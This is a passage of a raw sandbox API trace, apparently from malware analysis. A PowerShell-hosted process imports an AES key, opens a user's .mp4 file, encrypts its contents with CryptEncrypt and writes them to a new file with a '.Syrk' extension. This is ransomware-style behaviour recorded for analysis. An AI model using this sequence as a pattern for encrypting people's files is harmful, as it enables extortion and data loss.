(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0258.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0258.178] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.179] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0258.179] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0258.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0258.179] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.179] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0258.179] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0258.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0258.179] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.179] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0258.179] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0258.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0258.180] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.180] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0258.180] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0258.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0258.180] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.180] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0258.180] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0258.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0258.180] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.180] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0258.181] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0258.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0258.181] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.181] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0258.181] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0258.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0258.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0258.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0258.182] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.182] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0258.182] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0258.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0258.182] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.182] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0258.182] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0258.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0258.182] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.183] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0258.183] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0258.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0258.183] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.183] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0258.183] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0258.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0258.183] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.183] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0258.183] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0258.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0258.184] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.184] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0258.184] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.184] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0258.184] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0258.184] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.184] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0258.184] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.184] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0258.184] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0258.184] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.184] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0258.184] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.185] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0258.185] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0258.185] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0258.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0258.189] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0258.189] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0258.189] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0258.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0258.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0258.189] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0258.189] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0258.189] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0258.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0258.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0258.189] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0258.189] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0258.190] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0258.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0258.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0258.190] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0258.190] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0258.190] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0258.190] EtwEventActivityIdControl () returned 0x0 [0258.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0258.190] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0258.190] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0258.190] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0258.192] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d100) returned 1 [0258.194] CryptImportKey (in: hProv=0x5c4d100, pbData=0x2365724*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99aa0) returned 1 [0258.194] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0258.194] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.195] EtwEventActivityIdControl () returned 0x0 [0258.195] EtwEventActivityIdControl () returned 0x0 [0258.195] EtwEventActivityIdControl () returned 0x0 [0258.201] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4")) returned 0x20 [0258.204] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4")) returned 0x20 [0258.204] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0258.204] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", lpFilePart=0x0) returned 0x2a [0258.205] EtwEventActivityIdControl () returned 0x0 [0258.205] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.205] EtwEventActivityIdControl () returned 0x0 [0258.205] EtwEventActivityIdControl () returned 0x0 [0258.205] EtwEventActivityIdControl () returned 0x0 [0258.209] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0258.209] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", lpFilePart=0x0) returned 0x2a [0258.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0258.210] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0258.210] GetFileType (hFile=0x364) returned 0x1 [0258.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0258.210] GetFileType (hFile=0x364) returned 0x1 [0258.210] EtwEventActivityIdControl () returned 0x0 [0258.210] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.211] EtwEventActivityIdControl () returned 0x0 [0258.211] EtwEventActivityIdControl () returned 0x0 [0258.211] EtwEventActivityIdControl () returned 0x0 [0258.212] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0258.212] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4.Syrk", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4.Syrk", lpFilePart=0x0) returned 0x2f [0258.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0258.212] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0258.215] GetFileType (hFile=0x368) returned 0x1 [0258.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0258.215] GetFileType (hFile=0x368) returned 0x1 [0258.215] EtwEventActivityIdControl () returned 0x0 [0258.215] CryptGenRandom (in: hProv=0x5c4d100, dwLen=0x10, pbBuffer=0x2375f14 | out: pbBuffer=0x2375f14) returned 1 [0258.264] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0258.265] CryptDuplicateKey (in: hKey=0x5c99aa0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99b20) returned 1 [0258.265] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0258.265] CryptSetKeyParam (hKey=0x5c99b20, dwParam=0x4, pbData=0x237724c*=0x1, dwFlags=0x0) returned 1 [0258.265] CryptSetKeyParam (hKey=0x5c99b20, dwParam=0x1, pbData=0x2377218, dwFlags=0x0) returned 1 [0258.265] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.265] EtwEventActivityIdControl () returned 0x0 [0258.265] EtwEventActivityIdControl () returned 0x0 [0258.265] EtwEventActivityIdControl () returned 0x0 [0258.266] EtwEventActivityIdControl () returned 0x0 [0258.267] ReadFile (in: hFile=0x364, lpBuffer=0x2379e88, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2379e88*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0258.270] CryptEncrypt (in: hKey=0x5c99b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x238dea0*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x238dea0*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0258.271] WriteFile (in: hFile=0x368, lpBuffer=0x2375ffc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2375ffc*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0258.274] WriteFile (in: hFile=0x368, lpBuffer=0x238ee8c*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x238ee8c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0258.276] ReadFile (in: hFile=0x364, lpBuffer=0x2379e88, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2379e88*, lpNumberOfBytesRead=0x5a2e7d8*=0x2bf7, lpOverlapped=0x0) returned 1 [0258.277] CryptEncrypt (in: hKey=0x5c99b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1eb8*, pdwDataLen=0x5a2e7cc*=0x2bf0, dwBufLen=0x2bf0 | out: pbData=0x23a1eb8*, pdwDataLen=0x5a2e7cc*=0x2bf0) returned 1 [0258.278] WriteFile (in: hFile=0x368, lpBuffer=0x23a1eb8*, nNumberOfBytesToWrite=0x2bf0, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23a1eb8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x2bf0, lpOverlapped=0x0) returned 1 [0258.278] ReadFile (in: hFile=0x364, lpBuffer=0x2379e88, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2379e88*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0258.278] CryptEncrypt (in: hKey=0x5c99b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4ab4*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23a4ab4*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0258.278] CryptEncrypt (in: hKey=0x5c99b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23a4ad0*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23a4ad0*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0258.279] WriteFile (in: hFile=0x368, lpBuffer=0x2375ffc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2375ffc*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0258.279] CloseHandle (hObject=0x368) returned 1 [0258.284] CloseHandle (hObject=0x364) returned 1 [0258.284] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.285] EtwEventActivityIdControl () returned 0x0 [0258.285] EtwEventActivityIdControl () returned 0x0 [0258.285] EtwEventActivityIdControl () returned 0x0 [0258.292] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4")) returned 0x20 [0258.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0258.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", lpFilePart=0x0) returned 0x2a [0258.295] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0258.296] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0258.296] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | 